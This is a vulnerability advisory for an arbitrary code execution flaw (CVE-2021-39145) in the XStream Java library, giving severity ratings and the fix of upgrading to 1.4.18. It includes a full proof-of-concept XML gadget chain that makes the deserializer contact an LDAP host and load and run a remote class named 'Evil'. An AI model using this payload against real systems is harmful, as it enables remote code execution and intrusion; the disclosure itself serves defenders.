<p>Upgrade <code>com.thoughtworks.xstream:xstream</code> to version 1.4.18 or higher.</p>

Arbitrary Code Execution Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)

Snyk CVSS

Attack Complexity High

Scope Changed

Confidentiality High

Integrity High

Availability High

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 1.93% (89^th percentile)

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Snyk ID SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569187
published 24 Aug 2021
disclosed 24 Aug 2021
credit Li4n0

Report a new vulnerability Found a mistake?

Introduced: 24 Aug 2021

CVE-2021-39145 Open this link in a new tab CWE-434 Open this link in a new tab

How to fix?

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &#x3C;none&#x3E;</m__obj>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
          <parsedMessage>true</parsedMessage>
          <soapVersion>SOAP_11</soapVersion>
          <bodyParts/>
          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
            <attachmentsInitialized>false</attachmentsInitialized>
            <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
              <soapPart/>
              <mm>
                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                  <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                    <homeCtx>
                      <hostname>233.233.233.233</hostname>
                      <port__number>2333</port__number>
                      <clnt class='com.sun.jndi.ldap.LdapClient'/>
                    </homeCtx>
                    <hasMoreCalled>true</hasMoreCalled>
                    <more>true</more>
                    <posn>0</posn>
                    <limit>1</limit>
                    <entries>
                      <com.sun.jndi.ldap.LdapEntry>
                        <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                        <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ignoreCase>false</ignoreCase>
                            </default>
                            <int>4</int>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>objectClass</attrID>
                                </default>
                                <int>1</int>
                                <string>javanamingreference</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaCodeBase</attrID>
                                </default>
                                <int>1</int>
                                <string>http://127.0.0.1:2333/</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaClassName</attrID>
                                </default>
                                <int>1</int>
                                <string>refClassName</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaFactory</attrID>
                                </default>
                                <int>1</int>
                                <string>Evil</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                          </javax.naming.directory.BasicAttribute>
                        </attributes>
                      </com.sun.jndi.ldap.LdapEntry>
                    </entries>
                  </aliases>
                </it>
              </mm>
            </multiPart>
          </sm>
        </message>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);